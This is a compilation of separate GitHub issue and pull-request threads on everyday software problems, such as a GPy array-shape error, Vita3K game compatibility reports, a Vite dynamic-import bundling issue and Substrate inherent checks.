failed in converting 2nd argument `b' of _flapack.dpotrs to C/Fortran array

Y_init = np.array(Y_init,ndmin=2,order='F')
X_init = np.array(X_init,ndmin=2)
import GPy
from emukit.model_wrappers.gpy_model_wrappers import GPyModelWrapper
from emukit.bayesian_optimization.acquisitions import ExpectedImprovement
from emukit.core.optimization import AcquisitionOptimizer
kernel = GPy.kern.Matern52(X_init.shape[1], ARD=True)
gp = GPyModelWrapper(GPy.models.GPRegression(X_init, Y_init, kernel, noise_var=1e-10))
gives error:~\Anaconda3\lib\site-packages\gpy-1.9.6-py3.6-win-amd64.egg\GPy\util\linalg.py in dpotrs(A, B, lower) :
error: failed in converting 2nd argument `b' of _flapack.dpotrs to C/Fortran array
X_init = [[ -5.5589826<PHONE_NUMBER>5<PHONE_NUMBER>2<PHONE_NUMBER> 1007.11674873]
[ -1.08051782<PHONE_NUMBER>5<PHONE_NUMBER>1<PHONE_NUMBER>7<PHONE_NUMBER>2]]
Y_init= [[0.37135806 0.31397561]]

Is there a particular reason why your array has to be in 'F' order? Could you try to use the default 'K' order?

      Is there a particular reason why your array has to be in 'F' order? Could you try to use the default 'K' order?

its the same with default 'K' order

could you provide more information? What is X_init and Y_init before you convert it to an np.array

before converting
[[ -4.64182228<PHONE_NUMBER>7<PHONE_NUMBER>9<PHONE_NUMBER>7<PHONE_NUMBER> ]
[ -4.02261383<PHONE_NUMBER>9<PHONE_NUMBER>2<PHONE_NUMBER>5<PHONE_NUMBER>5]]
[0.27079263373911405, 0.2587080814016096]
after converting
[[ -4.64182228<PHONE_NUMBER>7<PHONE_NUMBER>9<PHONE_NUMBER>7<PHONE_NUMBER> ]
[ -4.02261383<PHONE_NUMBER>9<PHONE_NUMBER>2<PHONE_NUMBER>5<PHONE_NUMBER>5]]
[[0.27079263 0.25870808]]

are they both lists? If so what happens if you simply do X_init = np.array(X_init), Y_init = np.array(Y_init)[:, None]

The ndim is set to 1 by default and it fails again
Regards,
Poojitha Ramachandra
On Mon, Dec 10, 2018, 2:16 PM Aaron Klein<EMAIL_ADDRESS>wrote:

are they both lists? If so what happens if you simply do X_init =
np.array(X_init), Y_init = np.array(Y_init)[:, None]
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/amzn/emukit/issues/143#issuecomment-445811419, or mute
the thread
https://github.com/notifications/unsubscribe-auth/Al_qlm9o_xAEfvIuio9NMdcRzi_IYtpxks5u3l7FgaJpZM4ZKLz2
.

I think we should take this offline. Could you drop by at tomorrow's Q/A session?

Sure...will do.. thanks
Regards,
Poojitha Ramachandra
On Mon, Dec 10, 2018, 2:42 PM Aaron Klein<EMAIL_ADDRESS>wrote:

I think we should take this offline. Could you drop by at tomorrow's Q/A
session?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/amzn/emukit/issues/143#issuecomment-445819070, or mute
the thread
https://github.com/notifications/unsubscribe-auth/Al_qltJPxR5g1pZShMASB9wM_uZSb4rLks5u3mTSgaJpZM4ZKLz2
.

yes! if I changed the Y_init manually to a column vector, it works! Could you please give me a hint on how to convert a list to column vector ?
Thank you

      I think that the problem is that Y_init needs to be a column vector and X_init an nxp array where n is the number of rows and p the number of variables.

yes! if I changed the Y_init manually to a column vector, it works! Could you please give me a hint on how to convert a list to column vector ?
Thank you

I tried  Y_init = np.reshape(Y_init,(-1,1)) and there is no error . Hope  this is correct

Issue seems to be resolved, closing.

I just had the same issue. It was a dimension mismatch, but the error message is super unclear.
For me it was a problem that arises in GPy.models.GPRegression() when X and y have different numbers of rows and the model tries to initialise and fails in the dpotrs call.
Perhaps we should raise an issue on GPy to do a dimension check??

Thanks @lawrennd ! Yes, raising this with GPy feels appropriate. Do you happen to still have the code that reproduces it?

Yep, here's a (I think minimal) code snippet.
import GPy
import numpy as np
X = np.random.randn(100, 3) # number of data points is 100
y = np.random.randn(50, 1) # number of data points is 50
model = GPy.models.GPRegression(X, y)

Thanks Neil, very helpful. Bang: https://github.com/SheffieldML/GPy/issues/871


Steins;Gate [PCSE00644]

Game summary

Game name: Steins;Gate
Game serial: PCSE00644

Vita3K summary

Version: 0.01
Build number: 404
Commit hash: https://github.com/vita3k/vita3k/commit/d4cd595

Test environment summary

Tested by: waterflame
OS: Windows 7
CPU: Intel i7-2600
GPU: AMD Radeon HD 6700 Series
RAM: 8 GB

Issues
Softlocks after failing to load shader.bin. No noticeable regressions against 328-https://github.com/vita3k/vita3k/commit/6525c1c. Something interesting thoughis one time when running it, it dumped a ton of tty error lines... not sure what that was about nor can I get it to do it again, attached as -404_ttyError.log
Screenshots

Log
vita3k-404.log
vita3k-404_ttyError.log
Recommended labels

softlock
missing shader

Vita3K summary

Version: v0.1
Build number: 523-04b60ab
Commit hash:  https://github.com/Vita3K/Vita3K/pull/292

Issues
Seems to be roughly the same, though running it more then once, it ran into a infinite read error. Though I can't get it to happen again...
Log
SteinsGate-523.log

Vita3K summary

Version: v0.1
Build number: 571-70599d3
Commit hash:  https://github.com/Vita3K/Vita3K/commit/70599d3

No longer in a read loop but error on loading shader.bin
SteinsGate.log

Vita3K summary

Version: v0.1
Build number: 984
Commit hash: fb0798e of pull/456 (I don't want to append every issue to the PR)

SteinsGate.log
Issue
file load error "shader.bin"

Vita3K summary

Version: v0.1
Build number: 1063
Commit hash: https://github.com/vita3k/vita3k/commit/050c22b3

Test environment summary

Tested by: Zangetsu38
OS: Windows 10
CPU: AMD Ryzen 2700X
GPU: NVIDIA GTX 1080 Ti
RAM: 16 GB DDR4 3600 mhz

Issues

Crash on trophy

Log
vita3k.log

Issue:

said space not enough free for install trophy.

Screenshots :

Log

vita3k.log

Vita3K summary

Version: v0.1
Build number: 1315
Commit hash: https://github.com/vita3k/vita3k/commit/5b070aac

SteinsGate.log
- Crashes going in game
- Shader or graphics? Like a good few MAGES/M2 games, there are issues with the texture sheet. I guess that'd be graphics/

Commit hash: https://github.com/vita3k/vita3k/commit/5d0939b8

Vita3K summary
Version: 0.1.3
Build number: 2321
Commit hash: Vita3K/Vita3K@5fad7f0
Test environment summary
Tested by: Avoulee
OS: Windows 10 Pro
CPU: Intel i7-2600k
GPU: AMD Radeon RX 590 Series
RAM: 16 GB
Issues
Game demo has scratchy audio, but video runs perfect.  Going back to menu crashes Vita3k.
Will sometime slow down to ~15FPS, mostly runs at ~30.
Skipping whole section of story causes Vita3k to crash.
After running the game three times, currently am unable to get past menu screen.  Crashes after Quick Save prompt.  Log attached.
Screenshots

vita3k.log

Vita3K summary

Version: v0.1.5
Build number: 2723
Commit hash: https://github.com/vita3k/vita3k/commit/c32ac263
CPU backend: Dynamic

Test environment summary

Tested by: othmanead
OS: Windows 11
CPU: Intel i5-10300H
GPU: RTX 3060 mobile
RAM: 16 GB

Issue:
Game plays with no issues
Screenshots:

Log
vita3k.log
Recommended labels

Playable


Added option validator.mapping.use_annotation

Added option validator.mapping.use_annotation to change the default usage of StaticMethodLoader to AnnotationLoader.
Added option validator.mapping.cache to allow passing a CacheInterface for usage in the mapping loader.
This should simplify the creation of a validator that reads annotations instead of static methods.

@SpacePossum, Ok, I will write some tests and a documentation update. I'm not very sure how to use github to do that in this same pull request. Any idea? Or should I make a new pull request?

I'm not very sure how to use github to do that in this same pull request. Any idea? Or should I make a new pull request?

Just push to your branch and GitHub will update the according pull request automatically ;)

Any thoughts on this?

Why just add a flag and not introduce a new validator.mapping.loader
service that users could override?

This would let developers use any of the available loaders
This would also let them configure the AnnotationReader they
want to use

Something like this would be better IMHO:
$app['validator.mapping.cache'] = null;

$app['validator.mapping.loader'] = function ($app) {
    return new StaticMethodLoader();
}

$app['validator.mapping.class_metadata_factory'] = function ($app) {
    return new LazyLoadingMetadataFactory($app['validator.mapping.loader'], $app['validator.mapping.cache']);
};

If you wish, you could then add an example in the documentation to show how
to use the AnnotationLoader by overriding the new service:
$app->register(new ValidatorServiceProvider(), array(
    'validator.mapping.loader' => function ($app) {
        return new AnnotationLoader($app['annotations']);
    },
));

@jlHertel Do you think you'd be able to update this soon and resolve the conflicts? Thanks!

I guess this should be closed as well as per https://github.com/silexphp/Silex/issues/1588#issuecomment-368390861

@hkdobrev That's correct. Let's close.


Shouldn't these be installed in the kube-system namespace?

e.g. in Bitnami doco  it suggests you install with --namespace kube-system
This makes more sense than putting it in default.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: ada58160-dc50-b977-d3bc-65f92406e16d
Version Independent ID: 5c596e04-fddb-effe-3b72-575f4df42d4e
Content: Configure ingress with Azure Container Service (AKS) cluster | Microsoft Docs
Content Source: articles/aks/ingress.md
Service: container-service
GitHub Login: @neilpeterson
Microsoft Alias: nepeters

@AronT-TLV thanks for the feedback! Seems Neil has submitted a fix and this issue should close one the changes go live.

@AronT-TLV - thanks for the issue. The ingress controller can technically be placed in any namespace, but agreed that default is not the best place.
I have made an update to use kube-system, this issue will auto-close once the update has been merged.
Thanks again.

Thanks @neilpeterson  Just want to note that the "nit picking" goes along with a great deal of appreciation for a great product along with great documentation! It's really amazing how Microsoft makes it so easy for your customers to give input and your responsiveness is greatly appreciated as well.


Having trouble installing on Mac OSX 10.9.5 (error on npm run rebuild-leveldb)

I'm getting a 403 error when running the command  cd node_modules/leveldown && HOME=~/.electron-gyp node-gyp rebuild --target=0.25.1 --arch=x64 --dist-url=https://atom.io/download/atom-shell
I've included the output from my console and the relevant npm-debug.log in a gist (https://gist.github.com/byronhulcher/4e2df5c57294a6857832).  Looks like it could be related to https://github.com/moose-team/friends/issues/23 but I'm unfamiliar with nvm unfortunately.
I'm running io.js v1.8.1 and npm 2.8.3.  I'd be happy to provide anything else you might need for debug, unfortunately I'm pretty nub when it comes to node. The app looks very cool, congrats on the soft launch!

I had the same issue (OS X 10.10.3) using nvm. The fix of switching to node 0.12 for the rebuild then back to io, as described in 23, worked for me. I’m not sure of a good way to do that without nvm though.

Hrm I'm unfamiliar with nvm, but I'll look into that, thanks @alecperkins!

My problem was that I needed to do brew install leveldb. I think that was what fixed it.

I had this issue too. In my case it was because I updated npm to a different version than the one packaged with iojs (thread about this on the iojs repo), so you may just need to reinstall iojs and not update to the latest npm afterward.


Scala Common Enrich: IPv6 support

Since AWS CloudFront supports IPv6 for some time we'd like to turn on IPv6 on our CloudFront collector.
Unfortunately the Snowplow wiki doesn't clearly state if this is supported or not. It still says that IPv6 is not support on CF which is not true anymore.
Furthermore we're using the GeoIP Enrichtment. Looking at Code I get the impression that it doesn't support IPv6, yet.
https://github.com/snowplow/snowplow/blob/master/3-enrich/scala-common-enrich/src/main/scala/com.snowplowanalytics.snowplow.enrich/common/enrichments/registry/IpLookupsEnrichment.scala#L143
Since Scala is not my home turf I may be wrong, AFAIK MaxMind offers seperate databases for IPv4 and IPv6 and the IpLookup enrichment does only seem to support on database at a time.

Migrated to https://github.com/snowplow/enrich/issues/72


Use non-zero resync period as last insurance in local volume provisioner

Fixes https://github.com/kubernetes-incubator/external-storage/issues/795.

/area local-volume
/assign @msau42

Rebased due to conflicts with https://github.com/kubernetes-incubator/external-storage/pull/799.


Does Basscss provide any support for LESS?

Does Basscss provide any support for LESS?  Also, are their any built-in utilities we can use with LESS when it comes to this framework?

What do you mean by "support"? LESS (et al.) can include .css files as a part of their builds, since their syntax is simply a superset of CSS.

I apologize @mcordingley I have moved on from this original question and it has completely slipped my mind why I would ask that to begin with.  Please forgive me.


Basemap TMS tiles are not being correctly set in named maps

It seems that in the named map creation we are not taking into account TMS basemaps, provoking that the thumbnails we generate from the Static Maps API show the basemap tiles in an incorrect position.
For a TMS basemap, this is the information saved in the viz.json:
options: {
visible: true,
type: "Tiled",
urlTemplate: "http://hostname/whereonmars.cartodb.net/celestia_mars-shaded-16k_global/{z}/{x}/{y}.png",
attribution: null,
maxZoom: 21,
minZoom: 0,
name: "Custom basemap 36",
tms: true,
className: "httpshostnamewhereonmarscartodbnetcelestia_marsshaded16k_globalzxypng",
order: 0,
id: "xxxxx"
}

The automatically created named map config looks like:
{
  "template":{
    "auth":{
      "method":"open"
    },
    "version":"0.0.1",
    "name":"tpl_43396782_8fa5_11e5_8aa0_xxxxxx",
    "placeholders":{
      "layer0":{
        "type":"number",
        "default":1
      },
      "layer1":{
        "type":"number",
        "default":1
      },
      "layer2":{
        "type":"number",
        "default":1
      },
      "layer3":{
        "type":"number",
        "default":0
      }
    },
    "layergroup":{
      "layers":[
        {
          "type":"http",
          "options":{
            "urlTemplate":"http://HOSTNAME/whereonmars.cartodb.net/celestia_mars-shaded-16k_global/{z}/{x}/{y}.png"
          }
        },
        {
          "type":"cartodb",
          "options":{
            "sql":"xxxxxxx",
            "layer_name":"xxxxx",
            "cartocss":"xxxxxx",
            "cartocss_version":"2.1.1",
            "interactivity":"cartodb_id",
            "table_name":"\"\"."
          }
        },
        {
          "type":"cartodb",
          "options":{
            "sql":"xxxxxxx",
            "layer_name":"xxxx",
            "cartocss":"xxxxxxx",
            "cartocss_version":"2.1.1",
            "interactivity":"cartodb_id",
            "table_name":"\"\".",
            "attributes":{
              "id":"cartodb_id",
              "columns":[
                "description"
              ]
            }
          }
        },
        {
          "type":"cartodb",
          "options":{
            "sql":"xxxxxx",
            "layer_name":"xxxxxxx",
            "cartocss":"xxxxxx",
            "cartocss_version":"2.1.1",
            "interactivity":"cartodb_id",
            "table_name":"\"\".",
            "attributes":{
              "id":"cartodb_id",
              "columns":[
                "description",
                "name",
                "source"
              ]
            }
          }
        },
        {
          "type":"cartodb",
          "options":{
            "sql":"xxxxxx",
            "layer_name":"xxxxxxx",
            "cartocss":"xxxxx",
            "cartocss_version":"2.1.1",
            "interactivity":"cartodb_id",
            "table_name":"\"\"."
          }
        },
        {
          "type":"torque",
          "options":{
            "cartocss_version":"2.0.1",
            "cartocss":"xxxxx",
            "sql":"xxxxx"
          }
        }
      ],
      "stat_tag":"xxxxx"
    },
    "view":{
      "zoom":3,
      "center":{
        "lng":-18.80859375,
        "lat":5.00339434502215
      },
      "bounds":{
        "west":-137.109375,
        "south":-50.51342652633955,
        "east":99.49218749999999,
        "north":56.46249048388979
      }
    }
  }
}

In this case, this would be the visualization itself:

but this is what the Static Maps API generates:

cc @rochoa

@xavijam I was aware of the issue, I talked to @iriberri about it. As I commented to her: named maps created from editor should include the TMS option (when it applies) in the http layer so it can understand/use it.

There has been no activity on this issue for more several months. We are closing it. If you think this still needs to be addressed please open a new issue.


Pennyworth

Project Abstract

Please replace these instructions with a brief description of your project summarising key points (1-2 paragraphs).
If your application is a follow-up to a previous grant, please mention which one in the first line of the abstract and include a link to previous pull requests if applicable.

Grant level

[x] Level 1:  Up to $10,000, 2 approvals
[ ] Level 2:  Up to $30,000, 3 approvals
[ ] Level 3:  Unlimited, 5 approvals (for >$100k: Web3 Foundation Council approval)

Application Checklist

[x] The application template has been copied and aptly renamed (pennyworth.md).
[x] I have read the application guidelines.
[x] Payment details have been provided (bank details via email or Polkadot (USDC & USDT) or BTC address in the application).
[x] The software delivered for this grant will be released under an open-source license specified in the application.
[x] The initial PR contains only one commit (squash and force-push if needed).
[x] The grant will only be announced once the first milestone has been accepted (see the announcement guidelines).
[ ] I prefer the discussion of this application to take place in a private Element/Matrix channel. My username is: @_______:matrix.org (change the homeserver if you use a different one)

I have read and hereby sign the Contributor License Agreement.

pinging @EmmyConceptNg

I am closing this application due to inactivity. Please let me know if you would like to continue working on it, @EmmyConceptNg.

I’m really sorry. I’ll work on the suggestion today

Hi @EmmyConceptNg I'm still not seeing that there have been any changes so I'm going to close again due to inactivity. Let us know if you have any questions.


Faster startup

What is wrong?
Wiring together all the components at startup is (unnecessarily) slow right now. They start up in series.
cc @pipermerriam you said you were already working on this
How can it be fixed
Start components in parallel.

The new ComponentManager seems to start all components in parallel, so I'm closing this


⚠ ClamAV has degraded performance

In 48b5b98, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 72 ms

Resolved: ClamAV performance has improved in c5edf68.


Package request: Metadata Cleaner

Please add  Metadata Cleaner
Metadata Cleaner allows you to view metadata in your files and to get rid of it, as much as possible.
Websites:

https://gitlab.com/rmnvgr/metadata-cleaner/
https://metadatacleaner.romainvigier.fr/

LICENSE:
https://gitlab.com/rmnvgr/metadata-cleaner/-/blob/main/LICENSE.md
The source code is released under the terms of the GNU General Public License 3.0 or later.

Sorry its already there...


ResizeObserver polyfill?

Out of curiosity, would it be hard to turn this solution to a ResizeObserver polyfill?
I'm working on a Container Query solution, and I like the idea of handling element size changes in a batch, as described here: https://github.com/que-etc/resize-observer-polyfill
For this reason I was leaning more towards this solution: https://github.com/que-etc/resize-observer-polyfill
Until I read that it takes ~20ms for a resize change to register.
I'm hopeful that this library would do better than that, but at the same time, I like the other interface better.

Hi,
Surely it would be easy to put another API on top of the current API, it should be pretty straight forward. As a side note, this library is batching everything possible but also has around ~20ms penalty when detecting changes (I think this is as low as it can be).
If you like the other interface better feel free to create a new project with that API that uses this library as an implementation. Or use the other project you linked to :)
Cheers

Yeah I was thinking about doing that. :+1:
Cheers

Or just do something like this:
	if (window.ResizeObserver) {
		const ro = new ResizeObserver((entries, observer) =>
			setHeightFor(footer)
		)

		ro.observe(footer)
	} else {
		erd().listenTo(footer, () => setHeightFor(footer))
	}

Of course it's very easy to extract a common interface out of this but it looks good enough for me at this moment.


OpenXR Support

OpenXR support for SlimeVR would be nice for future-proofing and extended compatability.

This is blocked, there is no API from OpenXR 1.0 for adding a device. This is what I found:

OK, so that sadly isn’t supported yet. It’s on the roadmap and is called the device plugin for now. Defining a plugin interface for 3rd party devices (input, HMDs etc) on various platforms (not just OSes, but also mobile vs. desktop and VR vs AR) is a complex problem if you want to get it right in version 1. So it had to be delayed from OpenXR 1.0.
I can’t give you an ETA for that feature sadly, but delayed does not mean cancelled

I assume this post was from you? Fingers crossed we get some update, I'll ask around too
https://community.khronos.org/t/create-openxr-device-driver-custom-runtime/109475


Capture BMP image of different resolutions

Hello,
From https://github.com/ArduCAM/Arduino/blob/master/ArduCAM/ov2640_regs.h I could verify that there are different resolutions available for taking a JPG image; however for a BMP image, only one: OV2640_QVGA i.e. 320*240.
Can you please provide similar register address-data configurations for taking QQVGA i.e. 160* 120 or QQQVGA i.e. 80* 60 BMP images?
Thanks,
Dilpreet

Please can you provide some update on this?

Hello,
Can you answer whether it is even doable for our camera or not. Its been a while and there is no response from your end.
Thanks!

@dilpreetdan
Hi,
Very sorry for reply you so late,
Yes,  it is  doable for our camera but at present we don't  have demos
about configuring it in other resolutions except 320x240.
Let us know if you need more help.
Regards,
ArduCAM support team.


Visual Cue if No Events

This PR closes #38 . This PR adds a function to create a visual cue  ('no events' text) to display when there are no events found based on the filter parameters.

Nice! This is important to have.


[SPARK-8028] [SPARKR] Use addJar instead of setJars in SparkR

This prevents the spark.jars from being cleared while using --packages or --jars
cc @pwendell @davies @brkyvz

Merged build triggered.

Merged build started.

Test build #33946 has started for   PR 6568 at commit 3a9cf1f.

Yeah this makes sense.

I just tried this out on EC2 with something like ./bin/sparkR --packages com.databricks:spark-csv_2.10:1.0.3 and it works great now

LGTM. By the way, just noticed: RRDD could have been R2D2 :)

Test build #33946 has finished for   PR 6568 at commit 3a9cf1f.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.


Quick Start/Documentation Improvements

Get a help page in place for new users

Get a Help Icon Under Hamburger Menu (?)

Quick Start Wiki

HUD / Menu

Others?

I've added the Wiki/Help link to the navigation and a help icon in the green area above.  I had to remove it for mobile mode because it interferes too much.  Hopefully mobile users are trained to use the hamburger icon to reach help.
The front page of the wiki does offer a bit of a quick start.  We'll continue to listen to feedback to see how to add to this.


Implement Proxy availability/QOS testing

Optionally, Janis should be able to test the availability/quality of service of all proxies it returns in each search.
It should also be able to filter/sort them by any of those attributes.
Availability will be tested by sending UDP datagrams to the proxy IP:port.
Quality of Service will be tested by using ping command on the proxy IP:port.

Finally, only the ability to connect has been implemented. That should suffice for most applications.
The #connectable?(proxy) method allows to know if a TCP connection can be stablished with the proxy server at hand.
Filtering has also been added.


lazytransform.py float to integer error

on line 607 in lazytransform.py there is a datatype conversion for integers to np.int16 which will fail for large integers, can you implement a try catch situation as follows:
 try:
            Xint = pd.DataFrame(Xt[:,:-num_len], columns = cols_names, dtype=np.int16)
except:
            Xint = pd.DataFrame(Xt[:,:-num_len], columns = cols_names, dtype=np.int64)

for large integer values the current code will fail

Hi @sungla55guy 👍 thank you for trying out featurewiz. This is  a great suggestion. Can you please create a pull request if you can so I can add you as a contributor? If you don't want to, let me know and I can make the change myself.
Thanks
Auto Vimal


Proof of concept StateRegistry

Objective
Fixes #13711
Solution
Introduce StateRegistry, similar to EventRegistry, which manages state-related system execution
as opposed to the current StateTransitions schedule.
The registry holds a linearized DAG of state dependencies.
The update method applies all transitions and then runs the schedules in 3 waves:

exits - From leaf to root
transitions - Arbitrary (implemented as from root to leaf)
enters - From root to leaf

Pros

Manual state transition triggered through a StateRegistry::update rather than running a schedule.
Cleaner ordering, without a lot of after conditions.
Much simplified custom schedule execution.

Cons

Potential performance drop.
While schedule execution is world-exclusive, updates could run in parallel.

Testing

A single test proves the order is correct.
Before finalization, this needs benchmarking.

Changelog
TODO
Migration Guide
TODO

Closed in favor of #13763


Is it possible and safe to save signing.LocalParty state?

The idea is that not all parties are online at the same time for signing, so I would like to save the state and continue the process when they are available.

@hoangong Did you try this out? Was it successful? I am thinking that anyways the parties are in waiting state for other parties to send messages. They can continue like that, and when the other parties send messages the waiting parties can continue. There might be a few things to be dealt with, but hypothetically this could work for near real time scenarios.

@r4881t I have not tried but I read the code and I think it is not doable at the moment. When LocalParty calls Start() to sign, it starts with sending Round1 message, maybe we need a different implementation to start from the last round

I think It is safe, if you code is allow to keep the connect of different nodes.


Strange behaviour with multiple grids

When using multiple grids only the last one works correctly, the other ones think you're dragging items to the last one. I'm trying to find a workaround for this.

Try using completely unique i-props

My items have sequential i's, should the grid-layout's also have i's?

It looks like as the grid-item you're dragging uses the wrong grid-layout (always the last one) when I drag with multiple layouts

which version of vue and vue-grid-layout are you using? This was fixed by #22

Everything is in the most current version as of now. I'll have a look at that issue. Maybe I'm doing something wrong somehow.

Hello again =)
When the problem happens I've managed to realize the problem has to do with an l variable that is undefined, with a comment saying that that variable is sometimes null, however that varible is not null, it's undefined, so the next if (l === null) does nothing, as it should be if (!l) or if (l == undefined || l == null). I forgot the number of the lines, sorry, and I was using the release file with a few deobfuscators.

Can you submit a PR with the fix?

Fixed in 2.1.10


Review in inbox even after user removed

I was removed (declined) from a review by another reviewer/alternate, but the review still appears in my incoming list. I assume that if I've been removed from the review, I wouldn't still need to see it in my incoming list.
In this review: https://review-board.natinst.com/r/339057/
Valerie Juarez declined jdowns (out of office) on June 15, but on June 17, I still see the review in the Incomplete bucket of the incoming review list.

This is great feedback. I should put them in a separate "Declined" category. Thanks for reporting this!


check_inherent implementation fails when validity depends on data in earlier inherent.

In some cases it makes sense that the validity of an inherent depends on data provided by an earlier inherent. The current implementation of check_inherent does not support this. Rather the inherents are checked in isolation. This means that the later inherent cannot be checked properly.
I have hit this case where one of my parachain inherents depends on data from the relay chain supplied by the parachain inherent. I expect this may be the case frequently for parachains.

Can you please give more context?
Why depend the first inherent on the second one?

I can offer two examples -- one minimal "toy" example, and one that we are currently using in Moonbeam. Both of them make sense in terms of being a cumulus parachain, and it is the parachain inherent that is depended upon.
Block Mortality
I've sketched this https://github.com/purestake/cumulus/tree/joshy-inherent-question-example The inherent allows the parachan block author to include a maximum height for the relay parent. The inherent check compares the max height from the inherent to the actual relay parent height from the earlier parachain inehrent.
Author Filtering
Parachain block authors insert their author identity via an inherent. Only some subset of staked authors are eligible at each height, so we perform some filtering logic and check whether the author from the inherent is indeed eligible at this height. It is desirable that filtering down the staked set to an eligible subset uses information from the relay parent (like the relay block height or the randomness beacon) because if it depends only on the parachain, then a colluding minority of authors could refuse to author and stall the parachain forever. Including "entropy" from the relay chain solves this because the eligible subset of authors will change at every block height.
This example is abstract over the filtering process. To make it concrete, assume we're using Aura. If it is Alice's turn to author, and she chooses not to, and the eligibility depends only on information from the parachain, then the parachain is stalled forever even though Alice is only one of many staked authors.
Alternative ways to proceed
Having worked through creating both of these examples, I thought of a few viable alternative approaches. Maybe one of these is what I'm looking for.

Do a simple preliminary check in check_inherent if possible, and delay the full check until block execution begins. This is what we're currently doing in Moonbeam and it seems realistic.
 The author already knows what relay parent his block is built on, so there is no need for an inherent to inject a maximum. I still think the second example and the general idea are valid.

Only some subset of staked authors are eligible at each height, so we perform some filtering logic and check whether the author from the inherent is indeed eligible at this height. It is desirable that filtering down the staked set to an eligible subset uses information from the relay parent (like the relay block height or the randomness beacon)

Why don't you have some callback mechanism as we have for timestamp for example? So whatever is set first, you check it in the callback and check the data.
Check inherents in general is also to check data like timestamp, but you don't need to check the author. Why isn't that done at importing the block?

callback mechanism as we have for timestamp for example? So whatever is set first, you check it in the callback and check the data.

That makes sense. I think that's what I meant in the first alternative I suggested .Thanks for the tip. I believe we're on the right track.

Check inherents in general is also to check data like timestamp, but you don't need to check the author.

Okay, that makes sense. So for timestamp I want to check the timestamp that the author put in the block against my own local clock, and make sure they're reasonably close. But I wouldn't want to compare the author in the block to my own author id (especially since not all nodes will even be authoring). Is this what you mean?
Thanks for reading and helping me think through this.

I mean you can check the author id when the block is imported :)

Oh, now that I'm thinking about timestamp.
It seems reasonable to require that the timestamp of a parachain block is >= the timestamp of the relay parent block. Should this also happen at import time? Maybe I could do that by using the OntImestampSet callback?

Timestamp will be based on the slot number of the relay chain. This means slot * slot_duration you get the timestamp.


superagent dependancy package semver latest version is not upgrading for yarn install

Node version:v16.20.0
OS version: Mac ventura 13.3.1
Description: We are upgrading the latest version of superagent 8.0.9 in package.json and ran npm/yarn install command.
It's dependancy package semver latest version 7.5.3 is not showing but getting 7.3.8.
We need the latest version 7.5.3 for fixing the security vulnerability issue.
Please help us to get the latest version for dependant package semver 7.5.3
I have checked with the latest node version 18.16.1 also but semver package is getting the version 7.5.3

I have added a PR to use<EMAIL_ADDRESS>It would be great if you guys take a peek at it.
https://github.com/ladjs/superagent/pull/1771


Can't scroll to see previous chat history on high resolution monitors

At 2560x1440, not enough previous chat messages are loaded to cause the scroll bar to show (unless images/youtube clips are in the history). This means you can't scroll up and trigger it to load previous history.
Workaround: Shrink the window down, scroll up and then maximize the window again.
Suggested Fixes: On room enter, display more messages regardless of resolution or on room enter, display number of messages based on resolution.

Yes this was changed to make the loading faster but we can see what number of messages works best.


react version

Has anybody tried to port this to React? I'm having issues doing it so. My main concern is: measuring the DOM elements has to be done on componentDidMount but what if a stylesheet (remote with link tag) is affecting the sizes of the menu elements? How do we know when a CSS has been applied to the DOM in componentDidMount?

Good question! I personally, have not tried porting it to react. In principal it should work. the edge case you are talking about is not covered by this implementation either. I am not that interested in solving the problem of "know when a CSS has been applied to the DOM" as this is way out of the scope of this project.
That said.. one approach I would recommend taking (which would solve the issue you are talking about, amongst others) is to use inline styles or some CSS-in-JS library. Doing so would override any global CSS rules and would also mean that anytime the styles/classname was updated, then shouldComponentUpdate would fire and re-measuring of the elements could be done.
Just an idea, first thing that came to mind, let me know what you think!

@lukejacksonn thanks for replying that fast! I'm not sure I understand your suggestion, you mean just adding an inline style tag to the GreedyMenu component? and wait until an external change would magically make componentDidUpdate change? Sorry, I don't understand what you mean

If the only way to style the component was through props like..
<GreedyNav padding="1rem" />

for example, then every time that prop changed.. you would know about it right (and you could do re-measuring of the elements)? I don't know the exact ins and outs of react to tell you which lifecycle hooks to use but you should be able to do something when a certain prop changes.

I started working on the react version of a greedy menu here feedback is very much appreciated!!! 👍


linmos output image name is generic

The name of the output linmos field is currently set of example_field. This will need to be changed to include the proper field name if possible.

More informative linomos image file names are being generated. I am relying ton the input images to the parsets conforming to ProcessedNameComponents, which contains the field name. The construction of the field name is outside the linnmos stage, and is instend in the prefect workflow task that calls linmos. I think this is an appropriate place for it, for the moment.


multiple themes are not getting bundled

Description
I can successfully load multiple themes dynamically as per documentation with await getTheme(themeName). But it's only for dev.server.
When bundling a static site with vite or astro those theme JSONs are not getting bundled.
Vite is issuing a warning:

8:34:10 PM [vite] warning:
/home/joe/local/playground/panda-themes/styled-system/themes/index.mjs
1  |  export const getTheme = (themeName) => import('./' + themeName + '.json').then((m) => m.default)
^^^^^^^^^^^^^^^^^^^^^^^^^^
2  |
3  |  export function injectTheme(el, theme) {
The above dynamic import cannot be analyzed by Vite.
See https://github.com/rollup/plugins/tree/master/packages/dynamic-import-vars#limitations for supported dynamic
import formats. If this is intended to be left as-is, you can use the /* @vite-ignore */ comment inside the import() call to
suppress this warning.
Plugin: vite:import-analysis
File: /home/alex/local/playground/panda-themes/styled-system/themes/index.mjs
🐼 info [hrtime] Extracted in (105.49ms)

In those limitations are written:

Imports to your own directory must specify a filename pattern
If you import your own directory you likely end up with files you did not intend to import, including your own module. > It is therefore required to give a more specific filename pattern:

// not allowed
import(`./${foo}.js`);  // <<< that's why it's not working !!
// allowed
import(`./module-${foo}.js`);

Link to Reproduction
https://stackblitz.com/~/github.com/dannylin108/panda-themes
Steps to reproduce

Wait till application is up and running
You can change themes with dropdown list.
But if make vite build and vite preview - it does't work
See error of loading theme in DevTools

JS Framework
Solid (TS)
Panda CSS Version
0.47.0
Browser
No response
Operating System

[ ] macOS
[ ] Windows
[ ] Linux

Additional Information
No response


Cannnot Get StreamStatus

I have One（１） trouble  on ObsClient
After failing to connect to Stream Server with OBS, Connection Timeout occurs when OBSClient GetStreamStatus() method is called.
This problem persists until OBS is restarted.

self follow
As a result of analyzing the above problem, it was found that the JSON syntax shown below differs depending on whether OBS was able to connect to the streaming server or not.
According to the OBS-WebSocket protocol sheet, this syntax is non-nullable.
